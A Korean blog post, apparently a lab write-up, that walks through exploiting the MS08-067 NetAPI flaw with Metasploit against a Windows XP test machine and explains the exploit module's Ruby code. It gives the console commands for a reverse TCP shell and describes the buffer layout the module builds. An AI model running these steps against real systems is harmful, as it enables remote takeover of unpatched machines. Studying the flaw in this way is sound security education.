1. MS08-067_NetAPI 발생 원인
- 마이크로소프트 윈도우 서버 서비스들은 파일 이나 프린트 서비스의 공유를 지원한다.
이 서비스에서 원격 실행 코드에 취약하다는 것이 발견 되었다.
예를 들어, 서버 서비스 구성 요소에 특수한 경로로 조작된 RPC 요청으로 인해 스택 메모리에 손상을 준다.
netapi32.dll의 NetprPathCanonicalize() 영향을 받는다.
netapi32.dll 파일에서 비롯된 취약점이라 이름도 MS08-067_NetAPI 이다.
2. 테스트 환경
- 공격자: 192.168.117.129 (OS: Backtrack5 R3)
- 피해자: 192.168.117.130 (OS: Windows XP SP2)
3. 테스트 과정 및 결과
a. msfconsole을 실행하여 MS08-067을 검색한다.
#search netapi 명령으로 검색하여 #use exploit/windows/smb/ms08-067_netapi 를 입력하여 exploit을 사용한다.
b. 페이로드를 검색하여 reverse_tcp 페이로드를 선택한다.
#search -t payload reverse_tcp 로 페이로드 검색 후 generic/shell_reverse_tcp를 찾아
#set payload generic/shell_reverse_tcp 를 입력한다.
(reverse_tcp를 이용하여 피해자 windows의 셸을 획득하는 페이로드이다.)
c. 공격자 ip, 피해자 ip, 포트 등 공격에 필요한 옵션을 설정한다.
#show options를 입력하여 설정할 옵션이 어떤 것들이 있는지 확인한 후,
#set rhost [피해자 ip]
#set lhost [공격자 ip]
#set lport [사용할 포트번호] 를 입력한다.
d. 피해자 ip로 공격하여 셸을 획득한다.
#exploit 을 입력하면 공격이 실행된다.
셸을 획득하고 ipconfig 입력하니 피해자 pc의 ip주소가 확인된다.
여기까지 exploit 실습 내용,아래는 코드 분석
*** MS08_067_netAPI 코드 분석
1. msf3/modules/exploits/windows/smb/ms08_067_netapi.rb 파일을 연다.
(사용하는 메타스플로잇 환경에 따라 상위 경로는 약간 다를 수 있다.)
require 'msf/core' 부분에서 코어 라이브러리를 호출하고
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
두 부분에서 DCERPC 와 SMB 모듈을 import 시킨다.
(모듈이 import 될 때에 범위 지정 연산자(::)로 구분 되어 있는 부분은 모듈이 위치한 경로가 아니다. 전 헷갈려서..)
DCERPC와 SMB 모듈은 msf3/lib/msf/core/exploit/ 하위 경로에 위치하고 있다
initialize 메소드에서 exploit의 info명령을 수행시키는 코드가 정의되어 있다.
상위 부모(?)클레스에서 update_info() 라는 메소드를 불러온다.
update_info()는 msf/core/module.rb에 정의 되어 있다.
해당 exploit에 대한 정보에 변동사항, 수정사항이 생기면 오버라이딩함.
exploit 이름, 설명, 제작자, 페이로드 설정, 공격 가능한 OS별, 프로세서의 NX 사용여부별 타겟 설정 등이 포함된다.
다음은 실제적인 exploit에 관한 코드이다.
exploit() 메소드가 정의 되어있다.
먼저 ms08_067이 smb에 관한 취약점임을 다시 한번 인지한다.
smb모듈의 connect()와 smb_login() 메소드를 호출하여
연결을 시도한다. 그리고 연결 실패에 따른 예외처리를 한다.
exploit.rb의 target() 메소드를 이용하여 희생자의OS별로 나누어 targets[]에 분류하고
활성화된 타겟을 반환한다. 만약 타겟이 존재하지 않을 경우 nil을 반환하고
지정된 타겟이 없지만 default 타겟이 있는 경우 자동으로 사용한다.
아래는 기존에 정의된 target()메소드 기본 뼈대이다.
targets[target_idx.to_i] 부분을 보면 target_index 라는 또다른 메소드를 키로 사용하고 있다.
이제 아까 분류한 타겟들을 if문으로 OS종류 별, NX 사용 여부별로 경우의 수를 나누어
타겟 명령에 대한 설정을 한다.
다음 코드는 NX가 설정된 Windows 2000, XP , 그리고 NX가 설정되지 않은 Windows 2003 에 대한
타겟 설정 코드이다.
jumper 변수에 Rex::Text.rand_text_alpha(70).upcase 메소드는 70바이트 길이의 문자를 무작위로 변수값에
대입하는 메소드 이다. 일종의 초기화라고 보면 된다.
Rex::Text.rand_text_alpha()의 뼈대와 그 안에 쓰이는 rand_base()의 뼈대는 다음과 같다.
무작위로 알파뱃 텍스트를 생성하는 메소드
기본 텍스트를 생성하는 메소드
다시 위 else 문의 다음 코드를 보자.
jumper[4,4] = [mytarget.ret].pack("V")
jumper[50,8] = make_nops(8)
jumper[58,2] = "\xeb\x62"
jumper[4,4] 는 4바이트의 return address를 배열 4번째 인덱스에 넣는다.
(ruby에서는 배열의 인댁스를 [start, count] 처럼 숫자 쌍으로 사용가능)
그리고 jumper[50,8]을 보면, 50번째 인덱스 배열에 8바이트의 NOP문자를 넣는다.
jumper[58,2] 에서는 58번째 인덱스에 "\xeb\62"를 삽입한다.
아래는 경로 문자열 설정이다.
앞서 언급했던 메소드들도 있고, 이름만 보아도 어떤 기능을 하는지 짐작이 대충 가능하다.
경로 문자열을 유니코드로 설정하고, 무작위로 100바이트 알파벳 문자열을 생성하며
그 후 사용자가 선택하는 페이로드에 따라 인코딩을 하는 기능이다.
그리고 다음 코드는 NX 설정을 우회하여 jumper 코드로 가기 위하여 경로 문자열에 memory address를 추가하는 과정이다.
(이 부분은 잘 모르겠습니다...추후에 다시 수정 하겠습니다)
다음은 DCE/RPC 바인딩하여 설정해놓았던 경로 문자열을 추가하는 부분이다.
dcerpc_handle() 뼈대는 다음과 같다.
NDR.UnicodeConformantVaryingStringPreBuilt(path)를 보면
이 메소드는 이미 유니코드로 인코딩된 문자열을 받아 사용 가능하게 인코딩하는 기능이다.
그러므로, 앞서 설정한 path를 받아 사용가능하게 인코딩하는 코드이다.
다음은 check메소드 이다.
예외 처리를 하여 타겟에 대한 바인딩이 올바르게 이루어졌는지 확인하는 메소드이다.
'IT 그리고 정보보안 > Knowledge base' 카테고리의 다른 글
Nmap 스캐너 (0) | 2021.04.15 |
---|---|
메타스플로잇을 활용한 수동적 정보 수집 (0) | 2021.04.15 |
메타스플로잇(Metasploit ) 개요 (0) | 2021.04.15 |
리눅스 환경의 스레드(Threads) (0) | 2021.04.15 |
리눅스 환경의 시그널(signal) (0) | 2021.04.14 |